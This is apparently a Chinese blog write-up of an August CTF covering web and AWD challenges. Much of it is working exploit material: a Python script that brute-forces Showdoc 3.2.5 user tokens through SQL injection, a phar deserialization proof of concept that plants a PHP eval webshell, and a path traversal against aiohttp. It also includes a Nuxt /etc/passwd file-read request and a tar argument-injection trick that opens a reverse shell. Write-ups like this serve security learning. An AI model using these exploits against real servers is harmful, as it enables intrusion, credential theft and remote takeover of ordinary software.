掌控安全CTF - 8月(WEB&AWD方向)

Zue3r 2024-09-30 08:33:01 阅读 78

文章目录

0x01 Web1. web-php2. web23. Just A Index

0x02 AWD1. Nothing2. Scan3. 压缩打包站

好久没更新了,水一篇。

0x01 Web

1. web-php

题目代码如下:

<code><?php

show_source(__FILE__);

file($_POST['a']);

?>

老演员了,涉及PHP filter文件读取攻击,参考:PHP Filter链——基于oracle的文件读取攻击 , 提示 flag 在 /flag 上,脚本一把梭。

在这里插入图片描述

2. web2

在这里插入图片描述

showdoc,跟着某些文章复现即可,我这个地方从暴破 token 到 phar 反序列化完整地走了一篇,就当复习知识点了。暴破 token 脚本如下:

<code>import argparse

import ddddocr

import requests

import onnxruntime

from urllib.parse import urljoin

onnxruntime.set_default_logger_severity(3)

table = '0123456789abcdef'

proxies = { 'http': 'http://127.0.0.1:8085'}

headers = { 'Authorization': 'Basic emthcTp6a2Fx'}

ocr = ddddocr.DdddOcr()

ocr.set_ranges(table)

class RetryException(Exception):

pass

def retry_when_failed(func):

def retry_func(*args, **kwargs):

while True:

try:

return func(*args, **kwargs)

except RetryException:

continue

except Exception as e:

raise e

return retry_func

def generate_captcha(base: str):

data = requests.get(f"{ base}?s=/api/common/createCaptcha", headers=headers).json()

captcha_id = data['data']['captcha_id']

response = requests.get(f'{ base}?s=/api/common/showCaptcha&captcha_id={ captcha_id}', headers=headers)

data = response.content

result = ocr.classification(data)

return captcha_id, result

@retry_when_failed

def exploit_one(base: str, current: str, ch: str) -> str:

captcha_id, captcha_text = generate_captcha(base)

data = requests.get(base, params={

's': '/api/item/pwd',

'page_id': '0',

'password': '1',

'captcha_id': captcha_id,

'captcha': captcha_text,

'item_id': f"aa') UNION SELECT 1,1,1,1,1,(SELECT 1 FROM user_token WHERE uid = 1 AND token LIKE '{ current}{ ch}%' LIMIT 1),1,1,1,1,1,1 FROM user_token; -- "

}, headers=headers).json()

if data['error_code'] == 0:

return ch

elif data['error_code'] == 10010:

return ''

elif data['error_code'] == 10206:

raise RetryException()

else:

print(f'error: { data!r}')

raise Exception('unknown exception')

def main():

parser = argparse.ArgumentParser(description='Showdoc 3.2.5 SQL injection')code>

parser.add_argument('-u', '--url', type=str, required=True)

args = parser.parse_args()

target = urljoin(args.url, '/server/index.php')

res = ''

for i in range(64):

r = ''

for ch in list(table):

r = exploit_one(target, res, ch)

if r:

res += ch

break

print(f'Current result: { res}')

if not r:

break

if __name__ == '__main__':

main()

运行结果如下:

在这里插入图片描述

然后配合 user_token 打前台反序列化,phar poc如下:

<code><?php

namespace GuzzleHttp\Cookie{

class SetCookie

{

private $data = [];

public function __construct()

{

$this->data = array("Discard"=>false,"poc"=>'<?php eval($_REQUEST[0]);?>');

}

}

class CookieJar

{

/** @var SetCookie[] Loaded cookie data */

private $cookies = [];

public function __construct()

{

$this->cookies = [new SetCookie()];

}

}

class FileCookieJar extends CookieJar

{

/** @var string filename */

private $filename;

/** @var bool Control whether to persist session cookies or not. */

private $storeSessionCookies;

public function __construct($cookieFile, $storeSessionCookies = false)

{

parent::__construct();

$this->filename = $cookieFile;

$this->storeSessionCookies = $storeSessionCookies;

}

}

}

namespace {

$exampleWithClosure = new GuzzleHttp\Cookie\FileCookieJar("/var/www/html/Public/Uploads/shell.php",true);

$phar=new phar('image.phar',0);

$phar->startBuffering();

$phar->setMetadata($exampleWithClosure);

$phar -> setStub('GIF89a<?php __HALT_COMPILER();?>');

$phar->addFromString("test.txt","test");

$phar->stopBuffering();

}

运行上述php脚本后,就已经拿到了token以及phar文件。然后修改该phar文件后缀为jpg,同时构造本地文件上传表单,上传phar文件到对应的网站。

<!DOCTYPE html>

<html lang="en">code>

<head>

<meta charset="UTF-8">code>

<meta name="viewport" content="width=device-width, initial-scale=1.0">code>

<title>Form Upload</title>

</head>

<body>

<form action="http://dyvfgrqa.lab.aqlab.cn/server/index.php?s=/api/page/upload" method="post" enctype="multipart/form-data">code>

<input type="hidden" name="user_token" value="5d302c5281dc08432a2e8d0ce47d832b074dc5f9f461720078cbfb26b667e463">code>

<label for="file">Choose file to upload:</label>code>

<input type="file" name="file" id="file"><br><br>code>

<input type="submit" value="Upload">code>

</form>

</body>

</html>

上传后会返回 sign,如图:

在这里插入图片描述

访问对应的路径获取phar文件路径,如图:

在这里插入图片描述

访问phar文件路径,webshell被生成。

在这里插入图片描述

验证webshell有效性。

在这里插入图片描述

获取flag,如图:

在这里插入图片描述

3. Just A Index

在这里插入图片描述

<code>aiohttp/3.9.1中存在路径遍历漏洞,只需要找准一个基础路径,利用../遍历即可。参考:CVE-2024-23334 aiohttp路径遍历漏洞 ,可以看到页面种加载了一张图片,路径是:/img/what.jpeg,可以基于/img进行路径遍历,如图:

在这里插入图片描述

0x02 AWD

1. Nothing

在这里插入图片描述

给了一个附件,从附件中可以分析出前端使用了 nuxt 框架,存在文件读取漏洞,PoC如下:

<code>GET /_nuxt/@fs/etc/passwd HTTP/1.1

Host: example.com

获取flag,如图:

在这里插入图片描述

2. Scan

在这里插入图片描述

调用 nuclei 对目标网站进行扫描,给了附件,部分代码如下:

<code>import flask

import subprocess

import re

app = Flask(__name__)

... ...

@app.route('/submit', methods=['POST'])

def submit():

... ...

if url is None:

return "No URL! ", 400

if not url_pattern.match(url):

return "URL格式错误!", 400

if url:

command = ['./nuclei', '--silent', '-u', url, '-t', '0day-templates.yaml']

try:

result = subprocess.run(command, capture_output=True, text=True)

print(result.stdout)

if 'info' in result.stdout and '/api/v2/echo' in result.stdout and 'custom-templates' in result.stdout:

return flag

else:

return "非常安全,没有问题!"

except subprocess.CalledProcessError:

return "Error occurred while running command"

return "Invalid request"

if __name__ == '__main__':

... ...

0day-templates.yaml文件内容如下:

在这里插入图片描述

这个地方直接用自己 vps伪造一个符合扫描规则的页面即可,代码如下:

<code>from fastapi import FastAPI, Request

app = FastAPI()

@app.get('/api/v1/version/')

def api_version():

response = {

"version": "10.0.3",

"NAME": "HACKER",

"msg": "success"

}

return response

@app.get('/api/v2/echo/')

async def api_echo(request: Request):

return "zkaq{a} <script>alert(1111)</script>"

if __name__ == '__main__':

import uvicorn

uvicorn.run(app, host="0.0.0.0", port=8081)code>

扫描结果如下:

在这里插入图片描述

3. 压缩打包站

在这里插入图片描述

上传文件后,后端会存储用户的文件并将其打包并提供压缩包下载功能。给了附件,部分代码如下:

<code>from flask import Flask, g, render_template, request, redirect, make_response, send_file, after_this_request

import uuid, os

app = Flask(__name__)

@app.before_request

def check_uuid():

uuid_cookie = request.cookies.get('uuid', None)

if uuid_cookie is None:

response = make_response(redirect('/'))

response.set_cookie('uuid', str(uuid.uuid4()))

return response

try:

uuid.UUID(uuid_cookie)

except ValueError:

response = make_response(redirect('/'))

response.set_cookie('uuid', str(uuid.uuid4()))

return response

g.uuid = uuid_cookie

if not os.path.exists(f'uploads/{ g.uuid}'):

os.mkdir(f'uploads/{ g.uuid}')

@app.route('/', methods=['GET'])

def main():

return render_template('index.html', files=os.listdir(f'uploads/{ g.uuid}'))

@app.route('/api/upload', methods=['POST'])

def upload():

file = request.files.get('file', None)

if file is None:

return 'No file provided', 400

# check for path traversal

if '..' in file.filename or '/' in file.filename:

return 'Invalid file name', 400

# check file size

if len(file.read()) > 1000:

return 'File too large', 400

file.save(f'uploads/{ g.uuid}/{ file.filename}')

return 'Success! <script>setTimeout(function() {window.location="/"}, 3000)</script>', 200code>

@app.route('/api/download', methods=['GET'])

def download():

@after_this_request

def remove_file(response):

os.system(f"rm -rf uploads/{ g.uuid}/out.tar")

return response

# make a tar of all files

os.system(f"cd uploads/{ g.uuid}/ && tar -cf out.tar *")

# send tar to user

return send_file(f"uploads/{ g.uuid}/out.tar", as_attachment=True, download_name='download.tar', mimetype='application/octet-stream')code>

if __name__ == "__main__":

app.run(host='0.0.0.0', port=2024, threaded=True)code>

漏洞触发点,关键在于:

os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")

此处涉及tar参数注入操作,具体原理参考:tar参数注入 ,构造文件命令如下:

echo 'bash -c "bash -i >& /dev/tcp/1.1.1.1/10086 0>&1"' | base64

echo "" > "--checkpoint-action=exec=echo [base64_reverseshell_payload] | base64 -d | bash" # 生成第一个文件

echo "" > --checkpoint=1 # 生成第二个文件

echo "" > test.txt # 生成第三个文件

将三个文件分别上传,然后点击页面中的 download 下载压缩包。

在这里插入图片描述

vps吃到反弹shell,获取flag。

在这里插入图片描述



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。